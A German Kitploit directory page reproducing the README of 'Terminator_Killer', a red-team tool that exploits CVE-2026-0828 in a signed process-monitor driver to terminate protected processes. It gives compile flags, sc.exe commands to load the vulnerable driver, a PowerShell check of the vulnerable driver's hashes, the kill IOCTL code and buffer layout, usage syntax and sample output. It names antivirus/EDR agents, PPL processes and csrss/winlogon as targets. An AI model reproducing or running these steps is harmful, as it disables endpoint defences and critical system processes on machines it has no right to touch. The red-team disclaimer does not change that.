Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Terminator_Killer — Kernel-Modus-Prozess-Killer, der CVE-2026-0828 (BYOVD) ausnutzt, um geschützte Prozesse über einen verwundbaren signierten Treiber zu beenden und dabei PPL und Endpoint-Sicherheit zu umgehen. | Kitploit
Tools/GitHubGitHub/hika-sec/terminator_killer
Privilege EscalationSchwachstellenanalyseExploitationIDS/IPS-UmgehungPenetrationstestsRed Teaming
GitHubhika-sec/terminator_killer

Terminator_Killer

Kernel-Modus-Prozess-Killer, der CVE-2026-0828 (BYOVD) ausnutzt, um geschützte Prozesse über einen verwundbaren signierten Treiber zu beenden und dabei PPL und Endpoint-Sicherheit zu umgehen.

Repository anzeigen
1vor 21h 35mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Terminator - Process-Killer für Red Teams

Ein Tool zur Prozessbeendigung im Kernel-Modus, das einen verwundbaren Treiber (CVE-2026-0828) ausnutzt, um geschützte Prozesse aus dem Benutzermodus zu beenden.

Kompilierung

Erfordert MinGW-w64 (GCC) unter Windows. Kompilieren mit:

root@kitploit:~
g++ --% .\terminator.cpp -o terminator.exe -Oz -ffunction-sections -fdata-sections -static -static-libgcc -static-libstdc++ -Wl,--gc-sections -W

Aufschlüsselung der Flags:

FlagZweck
--%PowerShell-Stop-Parsing-Token (übergibt Argumente wörtlich an g++)
-OzFür minimale Größe optimieren
-ffunction-sections / -fdata-sectionsJede Funktion bzw. jedes Datenelement in einen separaten Abschnitt platzieren
-static / -static-libgcc / -static-libstdc++Statisches Linken (keine Laufzeit-DLL-Abhängigkeiten)
-Wl,--gc-sectionsLinker entfernt ungenutzte Abschnitte (Garbage Collection)
-WWarnungen aktivieren

Ausgabe: eigenständige terminator.exe (~20-30 KB gestrippt).

Technischer Fokus

Dieses Projekt demonstriert die Ausnutzung eines verwundbaren Kernel-Treibers (STProcessMonitorDriver), der einen unvalidierten IOCTL_KILL_PROCESS-Handler bereitstellt und so die Beendigung beliebiger Prozesse unabhängig von Berechtigungen oder Schutzmechanismen (PPL, EPROCESS-Flags usw.) ermöglicht.

Architekturübersicht

KomponenteZweck
terminator.cppBenutzermodus-Client, der Prozesse auflistet und Kill-IOCTLs sendet
terminator.hppKlassen-Schnittstelle für Prozessauflistung und -beendigung
ProcessMonitorDriver.sysVerwundbarer Kernel-Treiber (extern, nicht enthalten)

Code-Analyse

Terminator::GetProcessPids()

  • Erstellt einen Snapshot über CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS)
  • Iteriert über alle Prozesse mit Process32First/Process32Next
  • Führt Groß-/Kleinschreibung-unabhängige Abgleiche mit den Zielprozessnamen durch
  • Gibt einen Vektor der übereinstimmenden PIDs zurück

Terminator::ProcessKill()

  • Öffnet ein Handle auf \\.\STProcessMonitorDriver
  • Tritt in eine Endlosschleife zur Überwachung ein (500-ms-Intervall)
  • Sendet für jede entdeckte PID IOCTL_KILL_PROCESS (0xB822200C) mit einem 8-Byte-PID-Puffer
  • Keine Ausgabe, wenn keine Prozesse gefunden werden; protokolliert nur bei Kill-Versuchen

Verwendungsanleitung

Voraussetzungen

Verwundbaren Treiber laden (erfordert Administratorrechte):

root@kitploit:~
sc.exe create STProcessMonitor type=kernel binPath=C:\Path\To\Driver\ProcessMonitorDriver.sys
sc.exe start STProcessMonitor

Ausnutzen eines vorhandenen Dienstes

Wenn eine verwundbare Version von ProcessMonitorDriver.sys bereits installiert ist und als Dienst läuft (z. B. von einer legitimen Anwendung), kann Terminator direkt eine Verbindung herstellen, ohne einen neuen Treiber zu laden.

Prüfen, ob der Dienst vorhanden ist und läuft:

root@kitploit:~
sc.exe query STProcessMonitor

Überprüfen, ob die Treiberversion verwundbar ist (PowerShell):

root@kitploit:~
$driverPath = "C:\Windows\System32\drivers\ProcessMonitorDriver.sys"
if (Test-Path $driverPath) {
    $hash = (Get-FileHash $driverPath -Algorithm SHA256).Hash.ToLower()
    $vulnerableHashes = @(
        "70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b",  # 11.11.4.0
        "85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786"   # 10.5.75.0
    )
    if ($vulnerableHashes -contains $hash) {
        Write-Host "[+] Vulnerable driver detected (SHA256: $hash)" -ForegroundColor Green
        Write-Host "[+] You can simply run Terminator." -ForegroundColor Green
    } else {
        Write-Host "[-] Driver found but not a known vulnerable version (SHA256: $hash)" -ForegroundColor Yellow
    }
} else {
    Write-Host "[-] Driver not found at $driverPath" -ForegroundColor Red
}

Wenn der Dienst vorhanden ist und mit einer verwundbaren Version RUNNING ist, überspringe die Treiberladeschritte und starte Terminator direkt.

Betroffene Versionen (getestet)

VersionSHA-256
11.11.4.070bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
10.5.75.085d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786

Andere Versionen können ebenfalls betroffen sein; überprüfe den IOCTL-Handler des Treibers vor der Verwendung.

Terminator ausführen

root@kitploit:~
terminator.exe -proc <process_name1> [process_name2] ...

Beispiel:

root@kitploit:~
terminator.exe -proc notepad.exe calc.exe

Ausgabe

root@kitploit:~
[+] Connected to driver. Monitoring for processes...
[*] Sending IOCTL 0xB822200C to terminate PID 4188...
[+] Success! IOCTL sent for PID 4188.

Analyse von CVE-2026-0828

Schwachstelle: Der Treiber STProcessMonitorDriver registriert einen IOCTL-Handler (0xB822200C), der:

  1. Akzeptiert eine vom Benutzer gelieferte 64-Bit-PID als Eingabepuffer
  2. Führt keine Validierung des PID-Werts durch
  3. Ruft PsLookupProcessByProcessId → ZwTerminateProcess direkt auf
  4. Läuft im Kernel-Kontext (SYSTEM-Token) und umgeht alle Benutzermodus-ACLs

Auswirkungen: Jeder Nicht-Admin-Benutzer mit Treiberzugriff kann folgende Prozesse beenden:

  • Geschützte Prozesse (PPL)
  • Antivirus-/EDR-Agenten
  • Kritische Systemprozesse (csrss, winlogon usw.)
  • Prozesse mit SeDebugPrivilege-Anforderungen

Grundursache: Fehlende ObReferenceObjectByHandle-Validierung, keine SeSinglePrivilegeCheck(SeDebugPrivilege) und keine Zugriffsprüfungen auf Prozessobjekte.

Haftungsausschluss

Dieses Tool ist ausschließlich für autorisierte Sicherheitsforschung und Red-Team-Übungen bestimmt.

Die unbefugte Verwendung gegen Systeme, die dir nicht gehören oder für die du keine ausdrückliche Genehmigung zum Testen hast, ist illegal. Der Autor übernimmt keine Haftung für Missbrauch. Stelle sicher, dass du eine schriftliche Genehmigung hast, bevor du das Tool in einer Umgebung einsetzt.

Der verwundbare Treiber (ProcessMonitorDriver.sys) ist für Demonstrationszwecke absichtlich fehlerhaft und sollte niemals in der Produktion eingesetzt werden.

Tool herunterladen